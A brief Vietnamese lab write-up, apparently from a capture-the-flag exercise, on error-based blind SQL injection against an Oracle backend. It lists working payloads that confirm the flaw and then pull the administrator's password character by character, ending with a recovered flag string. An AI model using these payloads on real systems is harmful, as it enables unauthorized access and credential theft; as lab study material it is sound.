Đây là 1 lỗi blind sql injection.

- B1: Thử tiêm các đk để xem các phản hồi khác nhau của ứng dụng.

Payload: xyz’ AND ‘1’=’1

xyz’ AND ‘1’=’2

🡪Các phản hồi giống nhau🡪 Thất bại

- B2: Tiêm các đk để kích hoạt lỗi của cơ sở dữ liệu. (là Oracle)

Payload:xyz’ AND (SELECT CASE WHEN (1=1) THEN TO\_CHAR(1/0) ELSE ‘a’ END FROM dual)=’a 🡪 500 Internal Server Error.

xyz’ AND (SELECT CASE WHEN (1=2) THEN 1/0 ELSE ‘a’ END FROM dual)=’a 🡪 200 Ok

🡪 Khai thác dữ liệu từng chút một

- Xác định độ dài MK:

Payload: xyz’ AND (SELECT CASE WHEN (LENGTH(password)=20) THEN TO\_CHAR(1/0) ELSE 'a' END FROM users WHERE username='administrator')='a 🡪đúng nên báo lỗi .

- Xác định từng chữ cái của mk:

Payload: xyz’ AND (SELECT CASE WHEN (SUBSTR(password,1,1)='m') THEN TO\_CHAR(1/0) ELSE 'a' END FROM users WHERE username='administrator')='a

Flag; xrtah991nxswpagaoo62;